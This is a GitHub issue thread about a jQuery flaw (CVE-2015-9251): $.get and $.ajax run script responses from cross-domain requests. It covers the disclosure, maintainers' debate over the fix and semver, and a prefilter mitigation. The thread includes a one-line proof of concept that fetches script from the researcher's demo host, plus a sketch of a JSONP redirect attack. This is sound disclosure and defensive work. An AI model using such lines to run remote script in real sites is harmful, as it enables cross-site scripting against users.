Closed homakov closed 8 years ago
There would be some pretty significant backcompat implications here. $.get
is just a thin wrapper around $.ajax
. If the "intelligent guess" logic is a problem the caller can use $.ajax with an explicit "text" data type and do the conversion manually/explicitly.
@dmethvin I generally agree that it's developer's responsibility to use $.ajax properly with all options to control the response processing. However if we google "jquery cors request" good half of the results doesn't use dataType setting.
Anyway if it seems hard to monkey patch it for cross domain requests, I'm fine with it.
I should have made it clear that I really dislike the "intelligent guess" logic too, for this very reason. If it was taken out and the caller had to declare their data type (or explicitly tell us to guess?) the hole would close. But I suspect it would break a ton of the world's sites. What do others think?
But I suspect it would break a ton of the world's sites
I don't see how it can break something because the fix is only for cross domain requests not using dataType: 'script' and expecting javascript (not jsonp). Why would a website load JS from other domains via $.ajax? This is really weird and I feel it's safe to patch.
@homakov Thanks for opening an issue. Would you be comfortable opening a PR with the proposed changes? I think we could evaluate this change more thoroughly if we could see some code.
@timmywil i'm only doing security but i will see if i can write this thing
I should also clarify that in this case the "attacker" is a web site that you're asking for data via $.ajax()
that happens to be a script. So it's similar to when you include third party code via <script>
tags. If you have a proposed fix we would like to see it.
Via .post
and .get
too. Always, if you don't specify dataType.
Not sure if should do it though - https://github.com/jquery/jquery/pull/2588
/cc @jaubourg
Everything about automated script detection is configurable so it's pretty easy to disable it (untested examples that should work):
// Good: disable javascript detection globally
$.ajaxSetup( {
contents: {
javascript: false
}
} );
// Acceptable: disable text to javascript promotion (but will break intended manual conversions)
$.ajaxSetup( {
converters: {
"test => javascript": false
}
} );
// Preferred: use a prefilter to be more specific (only crossDomain)
$.ajaxPrefilter( function( s ) {
if ( s.crossDomain ) {
s.contents.javascript = false;
}
} );
Not a fan of changing the behaviour within the lib but I can understand the rationale (though I'd recommand just removing the javascript dataType detection in the default options then).
Not a fan of changing the behaviour within the lib but I can understand the rationale (though I'd recommand just removing the javascript dataType detection in the default options then).
That would disable detection for all requests, whereas same origin request are still considered safe?
Not a fan of changing the behaviour within the lib but I can understand the rationale (though I'd recommand just removing the javascript dataType detection in the default options then).
That would disable detection for all requests, whereas same origin request are still considered safe?
Exactly, the other option is to use the prefilter which makes the behaviour pretty difficult to document imo. Hence why I'd rather go with pushing the solution in userland.
@jaubourg teaching users is very hard, remember $(location.hash) bug, it took years of vulnerable apps for jQuery to fix this. The one I posted is not used in the wild yet, but imagine how many apps use code like that.
The change to not execute cross domain scripts by default is much less obtrusive than turning off all script execution by default. I think @markelog's solution is worth trying in the next release.
@homakov, there are lots of other ways to execute malicious scripts with the DOM API alone. This is not a case of user input being unchecked and used as is, it's a case of code reaching knowingly to a hard-coded URL. There's a big difference. People all around the globe are already using scripts from other domains (CDNs) which poses the exact same issue.
@timmywil, since we can handle this with configuration (ie a prefilter), I don't see the appeal of hacking deep into the conversion logic.
@jaubourg I agree this can be handled easily with a prefilter, but the advantage of changing the default behavior is that users err on the side of security, rather than unintentionally executing cross domain scripts.
Many people use CDNs but here they definitely don't expect current behavior. I would rank it as Low severity, but the fix is simple so i think it's worth it
@homakov i believe we mitigate this, would you mind testing it out?
$.get('http://sakurity.com/jqueryxss')
doesn't work on edge so @markelog fixed
This fix was backed out of 2.2.x branch (https://github.com/jquery/jquery/commit/ad358fd62b0ab548abe379594ea00441940461f6), which is really confusing. The fix is still in 1.12.x, though. So, jQuery 1.12.x is safer than 2.2.x. That's disturbing. Can we get this security fix back on 2.2.x?
@reedloden hey, thanks for pointing that out, would you mind creating a ticket about this? No need to write about it in three places at once.
@reedloden We had to revert that because it was a breaking change so it shouldn't have been done in 1.12/2.2. We'll revert it in 1.12.3 as well (see #3011).
This fix will arrive in 3.0.0.
@markelog I added the milestone as this ticket didn't have one.
@mgol this is a 5 line breaking change vs 14 page scrolls of upgrade instructions to version 3. This is a case that is missing in semver, when you have a breaking change, but you can't create a major update because you already have one. I'm not emotional here, just trying to bring a little bit of attention to the problem (but that might be off topic). I can only think of custom semver versioning with 4 digits, something like MAJOR.CURRENT-MAJOR-BREAKING-HOTFIX.MINOR.PATCH.
If I add those 5 lines in my custom code, before using jquery I should be protected from the issue, right?
@szarouski As indicated by the milestone and the comments, this issue is fixed in jQuery 3.0. What else do you need?
This is a case that is missing in semver, when you have a breaking change, but you can't create a major update because you already have one.
What do you mean? I don't understand.
@mgol is it? can you run $.get('http://sakurity.com/jqueryxss')
on any jquery 3 website and see popup lie i do?
@homakov Can you post an example of such a site? I've just checked and it doesn't work.
@mgol I'm sorry I wasn't clear. I have 5 projects that in total combine into a giant project and all of them use jquery 2.2.4. The fix is for CORS is backwards incompatible, so it is reverted and released in version 3. The problem is that fix is 5 line change that would be much easier to fix in comparison to upgrading to version 3. So I wonder if I can add those 5 lines in custom code after jquery library but before using jquery api, in order to fix security issue for 2.x versions? At some point I will definitely upgrade to v3, but at the moment there is no bandwidth to do so and at the same time I really don't want to have a vulnerability in the most used library on the project.
I mentioned semver as jquery already have v2.x.x and v3.x.x. Taking this in count, there is no straight forward way in semver to incorporate incompatible, yet important change for version 2.
@szarouski OK, now I understood. :) Yes, adding those 5 lines will fix the issue for you. Note, though, that you'll only have a vulnerability if you $.get(untrusted_url)
which is non-advisable anyway.
@szarouski read the https://github.com/jquery/jquery/issues/2432#issuecomment-140038536
And you know, you have to really jump through the hoops in order to consider this a real threat or real anything, we did it for "just in case" kinda situation, right thing to do and all, but realistically, this is nothing to be concern about
@mgol it's not exactly non-advisable. It's like grabbing weather data from an external site supporting CORS.
I don't have v3 site at hand so let's consider it fixed 👍
Can we sum up which versions are still affected by this issue? Is 1.2.14 the only one (of 1.2.x series) that has the fix merged in?
@osuritz The fix is included only in jQuery 3.0.0 and newer. You need to upgrade to have it included.
Just to make sure.. There is no fix / patch for V2.x and it is only fixed on V3.0?
@reissr Yes, this was a breaking change so we couldn't include it in 2.x now that we follow semver.
Also, we no longer maintain jQuery 1.x/2.x, only the latest version, currently 3.x.
CVE-2015-9251 was assigned to track this issue.
Is this patched/fixed for 2.2.4 as of now?
The issue was patched in jQuery 3.0.0 and erroneously backported to 1.12/2.2. The change has been reverted in 1.12.3/2.2.3 as it was a breaking change; it will not be brought back there.
To have the fix you need to either update to jQuery 3 or apply the patch manually in your application code just after loading jQuery:
// Prevent auto-execution of scripts when no explicit dataType was provided (See gh-2432)
jQuery.ajaxPrefilter( function( s ) {
if ( s.crossDomain ) {
s.contents.script = false;
}
} );
This issue is going in circles now, people are re-asking the same questions over & over again. I'm locking this issue, please direct further questions to jQuery Forums or Stack Overflow.
Because of this https://github.com/jquery/jquery/blob/250a1990baa571de60325ab2c52eabb399c4cf9e/src/ajax/script.js#L18 every text/javascript response gets executed. Even if we made a request to another service. CORS was created exactly to prevent this kind of behavior in JSONP (arbitrary code execution).
So when we do $.get('http://weather.com/sf-weather') or like in Rails' jquery_ujs a form is being sent automatically, the attacker can respond us with text/javascript and execute arbitrary code on our origin. Demo
$.get('http://sakurity.com/jqueryxss')
The fix is to not execute responses from 3rd party origins by default and make it an option. Don't know who to cc to discuss it.
P.S. I would switch it off for same origin either, because using subtle redirect_to saving tricks we can redirect user to local JSONP endpoint and still get an XSS but those are much more sophisticated vectors.